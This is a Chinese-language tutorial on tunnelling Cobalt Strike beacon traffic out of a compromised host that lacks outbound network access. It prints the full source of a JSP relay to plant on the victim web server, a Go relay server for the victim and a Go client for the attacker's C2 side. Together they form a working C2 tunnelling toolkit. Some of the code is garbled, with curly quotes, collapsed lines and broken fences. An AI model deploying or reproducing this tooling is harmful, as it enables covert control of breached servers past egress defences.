不出网上线CS 或出网但上线不了CS 都可以尝试此种方法
原理
- beacon连接并传输数据给由DReverseServer创建的端口
- DReverseServer将数据传输给proxy.jsp (proxy连接DReverseServer)
- proxy.jsp将数据传输给DReverseClint (DReverseClint连接proxy.jsp)
-
受害端
beacon(stageless)
使用CobaltStrike建立本地Listener(127.0.0.1 64535)端口与C2ReverseServer建立的端口对应
Proxy.jsp
<%@page import="java.io.*, java.net.*" trimDirectiveWhitespaces="true"%><%String HOST = "127.0.0.1";int PORT = 64535;//获取请求方法String method = request.getMethod();//检测连接是否成功if (method == "GET"){try{//创建客户端的socket服务,指定127.0.0.1(本地)和64535Socket socket = new Socket(HOST, PORT);//接收回送消息InputStream inSocket = socket.getInputStream();//回送消息OutputStream outSocket = socket.getOutputStream();//写入连接成功标志位String msg = "TO:CONNECT";outSocket.write(msg.getBytes());byte[] res = new byte[4096];inSocket.read(res,0,4096);out.print(new String(res));socket.close();}catch(java.net.ConnectException e){}}//代理获取数据if (method == "POST" && !request.getParameter("DataType").equals(null)) {try{Socket socket = new Socket(HOST, PORT);socket.setSoTimeout(3000);InputStream inSocket = socket.getInputStream();OutputStream outSocket = socket.getOutputStream();if (request.getParameter("DataType").equals("GetData")){String msg = "TO:GET";outSocket.write(msg.getBytes());byte[] res = new byte[1046616];try {inSocket.read(res,0,1046616);out.print(new String(res));}catch(java.io.IOException e) {out.print("NO DATA");}}else if (request.getParameter("DataType").equals("PostData") && !request.getParameter("Data").equals(null)){String msg = "TO:SEND" + request.getParameter("Data");outSocket.write(msg.getBytes());}outSocket.close();socket.close();}catch(java.net.ConnectException e){}}%>
DReverseServer
net.listen创建一个服务器
Listen, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%v", port))if err != nil {fmt.Println("Listen error: %s", err.Error())os.Exit(1)}
循环监听连接accept和处理数据handleConn
for {conn, err := Listen.Accept()if err != nil {continue}go handleConn(conn)}
处理交互
func init() {flag.IntVar(&port, "p", 64535, "port")flag.IntVar(&level, "v", 0, "log level")flag.IntVar(&timeout, "t", 10, "timeout")flag.Parse()}
handleConn
主要的逻辑函数为handleConn
提取数据 ```go //readsize = 4096
defer conn.Close() data, err := read(conn)
if err != nil {return}
/ func read(conn net.Conn) (result []byte, err error) { buf := make([]byte, readsize) for { n, err := conn.Read(buf) if err != nil || n == 0 { break } result = append(result, buf[:n]…) if n < readsize { break } } return result, err } /
//处理数据长度,数据不可以大于30length := 30if len(data) <= length {length = len(data)}
2. debug打印版信息-log```go/*sendflag = "TO:SEND"connflag = "TO:CONNECT"getflag = "TO:GET"level = 0*/switch {//判断数据含有标志case strings.Contains(string(data[:length]), connflag):Println(connflag)//cs来获取数据case strings.Contains(string(data[:length]), getflag)://发送bc缓存的数据Println(getflag)//cs来发送命令case bytes.Contains(data[:length], []byte(sendflag)):Println(sendflag)default:Println("default")}Println(fmt.Sprintf("%v %v", "read ", (len(data))))Println2(data)/*func Println(result string) {if level > 0 {fmt.Println(str1, result, str1, "CsChan:", len(CsChan), "BcChan:", len(BcChan))}}func Println2(data []byte) {switch level {case 2:num := 1000if len(data) > num {fmt.Println(string(data[:num]))} else {fmt.Println(string(data))}case 3:fmt.Println(string(data))default:}}*/
- 处理提取的信息
```go
/*
noneflag = “Tk9ORQ==”
sendflag = “TO:SEND”
connflag = “TO:CONNECT”
getflag = “TO:GET”
str1 = “================”
str2 = “
“ timeout = 10
*/
switch { case strings.Contains(string(data[:length]), connflag): write(conn, []byte(noneflag)) //cs来获取数据 case strings.Contains(string(data[:length]), getflag): //发送bc缓存的数据 if len(BcChan) == 0 { write(conn, []byte(noneflag)) return }
tmp, ok := <-BcChanif ok {write(conn, []byte(tmp))} else {write(conn, []byte(noneflag))}//cs来发送数据case bytes.Contains(data[:length], []byte(sendflag)):Println(sendflag)index := bytes.Index(data, []byte(sendflag))data = data[index+len(sendflag):]index1 := bytes.Index(data, []byte(str2))if index1 >= 0 {data = data[index1+len(str2):]}index2 := bytes.Index(data, []byte(str3))if index2 >= 0 {data = data[:index2]}CsChan <- string(data)write(conn, []byte(noneflag))default:Println("default")//接收becon数据包BcChan <- base64.RawURLEncoding.EncodeToString(data)start := time.Now()//等待c2的数据包for len(CsChan) == 0 && time.Now().Sub(start) < time.Duration(timeout)*time.Second {}if len(CsChan) == 0 {fmt.Println("len cschan = 0")write(conn, []byte(noneflag))return}Println("default write")//发送c2的数据包tmp, ok := <-CsChanif ok {encoded, err := base64.RawURLEncoding.DecodeString(tmp)if err != nil {fmt.Println("base64decode failed: ", err)Println2([]byte(tmp))} else {write1(conn, encoded)}return} else {write(conn, []byte(noneflag))}}
/* func write(conn net.Conn, data []byte) (n int, err error) { Println(fmt.Sprintf(“%v %v”, “write “, (len(data)))) Println2(data) data = append([]byte(str2), data…) data = append(data, []byte(str3)…) n, err = conn.Write(data) return }
func write1(conn net.Conn, data []byte) (n int, err error) { Println(fmt.Sprintf(“%v %v”, “write “, (len(data)))) Println2(data) n, err = conn.Write(data) return }
*/
<a name="pYksr"></a>## C2攻击端1. 初始化参数和代理端```gofunc init() {flag.StringVar(&Url, "u", "http://127.0.0.1/proxy.php", "url,eg http://127.0.0.1/proxy.php")flag.StringVar(&hostPort, "t", "127.0.0.1:64535", "c2 target,eg 127.0.0.1:64535 ")flag.StringVar(&Proxy, "p", "", "url proxy,eg 8080")flag.IntVar(&level, "v", 0, "log level")flag.Parse()InitHttpClient(Proxy, dialTimout)}func InitHttpClient(DownProxy string, Timeout time.Duration) error {dialer := &net.Dialer{Timeout: dialTimout,KeepAlive: keepAlive,}tr := &http.Transport{DialContext: dialer.DialContext,MaxConnsPerHost: 0,MaxIdleConns: 0,MaxIdleConnsPerHost: 100 * 2,IdleConnTimeout: keepAlive,TLSClientConfig: &tls.Config{InsecureSkipVerify: true},TLSHandshakeTimeout: 5 * time.Second,DisableKeepAlives: false,}if DownProxy != "" {if DownProxy == "1" {DownProxy = "http://127.0.0.1:8080"} else if !strings.Contains(DownProxy, "://") {DownProxy = "http://127.0.0.1:" + DownProxy}u, err := url.Parse(DownProxy)if err != nil {return err}tr.Proxy = http.ProxyURL(u)}client = &http.Client{Transport: tr,Timeout: Timeout,}return nil}
获取数据 ```go func GetDate() {
if check(Url) {
for {data, err := getdata(Url)if err != nil || strings.Contains(string(data), noneflag) || len(data) == 0 || len(data) == lastlen {lastlen = len(data)time.Sleep(2 * time.Second)continue}lastlen = len(data)Println("getdata")Println2(data)index1 := bytes.Index(data, []byte(str2))if index1 >= 0 {data = data[index1+len(str2):]}index2 := bytes.Index(data, []byte(str3))if index2 >= 0 {data = data[:index2]}data1, err := base64.RawURLEncoding.DecodeString(string(data))if err != nil {fmt.Println("base64 err", err)Println2(data)continue} else {Println2(data1)}if len(data) > 0 {SendDate(hostPort, data1, Url)}}
} }
func getdata(Url string) (result []byte, err error) { dataResp, err := client.Post(Url, “application/x-www-form-urlencoded”, strings.NewReader(“DataType=GetData”)) if err != nil { return } defer dataResp.Body.Close() var buf bytes.Buffer _, err = io.Copy(&buf, dataResp.Body) if err != nil { fmt.Println(“read error:”, err) return ioutil.ReadAll(dataResp.Body) } return buf.Bytes(), err }
// 数据发送模块 func SendDate(hostPort string, data []byte, url string) { Println(“senddata”) conn, err := net.DialTimeout(“tcp”, hostPort, 10*time.Second) defer conn.Close() if err != nil { fmt.Printf(“connect failed, err : %v\n”, err.Error()) return } _, err = write(conn, data) if err != nil { fmt.Printf(“write failed , err : %v\n”, err) } result, err := read(conn) //TO:SEND C2Send := []byte(“DataType=PostData&Data=” + str2 + base64.RawURLEncoding.EncodeToString(result) + str3) Println(“post”) Println2(C2Send) resp, err := client.Post(url, “application/x-www-form-urlencoded”, bytes.NewBuffer(C2Send)) if err != nil { fmt.Println(“发送数据error: “, err) return } defer resp.Body.Close() }
func check(Url string) (flag bool) { resp, err := client.Get(Url) if err != nil { fmt.Println(“check error:”, err) return } content, _ := ioutil.ReadAll(resp.Body) defer resp.Body.Close() if strings.Contains(string(content), noneflag) { fmt.Println(“SUCCESS Start getting data ….”) return true } else { fmt.Println(string(content)) fmt.Println(“Please check if the script exists and runs…”) } return }
func read(conn net.Conn) (result []byte, err error) { var buf bytes.Buffer _, err = io.Copy(&buf, conn) if err != nil { fmt.Println(“read error:”, err) return } Println(fmt.Sprintf(“%v %v”, “read “, buf.Len())) Println2(buf.Bytes()) return buf.Bytes(), err }
func write(conn net.Conn, data []byte) (n int, err error) { Println(fmt.Sprintf(“%v %v”, “write “, len(data))) Println2(data) n, err = conn.Write(data) return }
func Println(result string) { if level > 0 { fmt.Println(str1, result, str1) } }
func Println2(data []byte) { switch level { case 2: num := 1000 if len(data) > num { fmt.Println(string(data[:num])) } else { fmt.Println(string(data)) } case 3: fmt.Println(string(data)) default: } } ```
